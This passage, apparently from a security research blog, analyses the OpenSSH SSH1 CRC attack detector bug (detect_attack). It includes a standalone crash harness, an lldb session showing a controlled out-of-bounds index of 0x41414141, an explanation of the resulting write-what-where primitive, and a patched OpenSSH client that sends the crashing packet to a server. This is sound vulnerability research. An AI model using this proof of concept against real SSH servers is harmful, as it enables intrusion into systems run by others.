&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x15560&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 

	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'A'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// call to vulnerable function&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;detect_attack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;free&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;returned %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then debug it on our Mac using lldbg.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ gcc -g main.c
$  lldb ./a.out
(lldb) target create &quot;./a.out&quot;
Current executable set to 'a.out' (arm64).
(lldb) source list -n detect_attack
File: main.c
...
   165  int
   166  detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
   167  {
   168          static u_int16_t *h = (u_int16_t *) NULL;
   169          static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
   170          register u_int32_t i, j;
   171          u_int32_t l;
(lldb)
   172          register unsigned char *c;
   173          unsigned char *d;
   174
   175          if (len &amp;gt; (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
   176              len % SSH_BLOCKSIZE != 0) {
   177                  fatal(&quot;detect_attack: bad length %d&quot;, len);
   178          }
   179          for (l = n; l &amp;lt; HASH_FACTOR(len / SSH_BLOCKSIZE); l = l &amp;lt;&amp;lt; 2)
   180                  ;
   181
   182          if (h == NULL) {
(lldb)
(lldb) b 182
Breakpoint 1: where = a.out`detect_attack + 200 at main.c:182:6, address = 0x0000000100003954
(lldb) r
Process 7691 launched: 'a.out' (arm64)
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000100003954 a.out`detect_attack(buf=&quot;AAAAAAAAAAAAAAAAAAAAAA....
   179          for (l = n; l &amp;lt; HASH_FACTOR(len / SSH_BLOCKSIZE); l = l &amp;lt;&amp;lt; 2)
   180                  ;
   181
-&amp;gt; 182          if (h == NULL) {
   183                  debug(&quot;Installing crc compensation attack detector.&quot;);
   184                  n = l;
   185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
Target 0: (a.out) stopped.
(lldb) p/x l
(u_int32_t) 0x00010000
(lldb) p/x l &amp;amp; 0xffff
(u_int32_t) 0x00000000
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x0000000100003970 a.out`detect_attack(buf=&quot;AAAAAAAAAAAAAAAAAAAAAAAAA...
   180                  ;
   181
   182          if (h == NULL) {
-&amp;gt; 183                  debug(&quot;Installing crc compensation attack detector.&quot;);
   184                  n = l;
   185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
   186          } else {
Target 0: (a.out) stopped.
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x0000000100003974 a.out`detect_attack(buf=&quot;AAAAAAAAAAAAAAAAAAAAAAAAAAA...
   181
   182          if (h == NULL) {
   183                  debug(&quot;Installing crc compensation attack detector.&quot;);
-&amp;gt; 184                  n = l;
   185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
   186          } else {
   187                  if (l &amp;gt; n) {
Target 0: (a.out) stopped.
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x0000000100003980 a.out`detect_attack(buf=&quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
   182          if (h == NULL) {
   183                  debug(&quot;Installing crc compensation attack detector.&quot;);
   184                  n = l;
-&amp;gt; 185                  h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
   186          } else {
   187                  if (l &amp;gt; n) {
   188                          n = l;
Target 0: (a.out) stopped.
(lldb) p/x n
(u_int16_t) 0x0000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The last line above shows that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; is 0 just after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n = l&lt;/code&gt;. The reason this is
important quickly becomes apparent if we continue the code.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(lldb) c
Process 7691 resuming
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x600082d68282)
    frame #0: 0x0000000100003c78 a.out`detect_attack(buf=&quot;AAAAA...
   215                  h[HASH(IV) &amp;amp; (n - 1)] = HASH_IV;
   216
   217          for (c = buf, j = 0; c &amp;lt; (buf + len); c += SSH_BLOCKSIZE, j++) {
-&amp;gt; 218                  for (i = HASH(c) &amp;amp; (n - 1); h[i] != HASH_UNUSED;
   219                       i = (i + 1) &amp;amp; (n - 1)) {
   220                          if (h[i] == HASH_IV) {
   221                                  if (!CMP(c, IV)) {
Target 0: (a.out) stopped.
(lldb) p/x i
(u_int32_t) 0x41414141
(lldb) p/x h[i]
error: Couldn't apply expression side effects : Couldn't dematerialize a result variable: couldn't read its memory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We got a crash showing our injected &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt;s as 0x41414141.&lt;/p&gt;

&lt;p&gt;Just as we pass some nice islands.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/exploitable_application_crash.jpg&quot; alt=&quot;First SSH Crash near Grease&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;the-crash&quot;&gt;The crash&lt;/h3&gt;

&lt;p&gt;The crash occurs because the check &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h[0x41414141] != HASH_UNUSED&lt;/code&gt; ([0] below)
hit invalid memory.&lt;/p&gt;

&lt;p&gt;From: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/deattack.c:135 - 153&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSH_BLOCKSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HASH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/*&amp;lt;- [0]*/&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HASH_UNUSED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		     &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HASH_IV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CMP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
					&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;check_crc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
						&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DEATTACK_DETECTED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
					&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
						&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
				&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CMP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSH_BLOCKSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;check_crc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
					&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DEATTACK_DETECTED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
					&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [1] arbitrary write!!!&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h[i]&lt;/code&gt; was a readable offset? After some checks we would hit [1] where
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h[i] = j&lt;/code&gt;. Notice &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j&lt;/code&gt; is the number of iterations in the loop, we can control
that with our buffer length. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i&lt;/code&gt; is our 0x41414141, we can control that. So
we end up with a write-what-where primitive in a loop.&lt;/p&gt;

&lt;h3 id=&quot;crashing-the-real-thing&quot;&gt;Crashing the real thing!&lt;/h3&gt;

&lt;p&gt;At this point we had a working OpenSSH server nicely set up. We need to send
our buffer through SSH protocol 1. We couldn’t find an SSH python client that
worked with such an outdated broken protocol. The intended solution was to
patch out the OpenSSH crypto stuff to make it an easy socket connection.
Instead we patched the OpenSSH client that came with the source code. It
seems that the real exploit authors might have taken a similar approach.&lt;/p&gt;

&lt;p&gt;Finding the patch location was easy with a little trick. Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt; to break on
the vulnerable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;detect_attack&lt;/code&gt; in the SSH server application. Then use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt; to
debug the client connecting to the server. The server hangs on the breakpoint,
causing the client to hang, waiting on a response to a packet. Ctrl+C in the
client and we are at the response handler for the first vulnerable packet sent
to the server. As a result we made the following patch.&lt;/p&gt;

&lt;p&gt;From: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sshconnect1.c:873 - 890&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;// DOYENSEC&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;// Builds a packet to exploit server&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;packet_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SSH_MSG_IGNORE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Should do nothing&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dsize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x15560&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// -0x10 b/c they add crc for us&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'A'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dsize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'\x00'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;packet_put_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dsize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;packet_send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;packet_write_wait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/* Send the name of the user to log in as on the server. */&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;packet_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SSH_CMSG_USER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;packet_put_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server_user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server_user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;packet_send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;packet_write_wait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running this patched client got the same crash as in the case of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main.c&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;where-to-go-now&quot;&gt;Where to go now…&lt;/h2&gt;

&lt;p&gt;It is important to understand this exploit primitive has a lot of weaknesses.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; buffer is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u_int16_t *&lt;/code&gt;. On a little endian system, so you can’t write
any arbitrary value to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(char *)h + 0&lt;/code&gt;. Not unless you set the upper bits of
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j&lt;/code&gt;. To be able to set all the upper bits of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j&lt;/code&gt;, you need to be able to loop
0x10000 times.&lt;/p&gt;

&lt;p&gt;From: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/deattack.c:135&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSH_BLOCKSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The loop goes over 8 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH_BLOCKSIZE&lt;/code&gt;) bytes at a time to increment &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j&lt;/code&gt; once.
We need a buffer of size 0x80000 to do that. The following check restricts us
to write only half of all possible &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j&lt;/code&gt; values.&lt;/p&gt;

&lt;p&gt;From: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/deattack.c:93 - 96&lt;/code&gt;&lt;/p&gt;
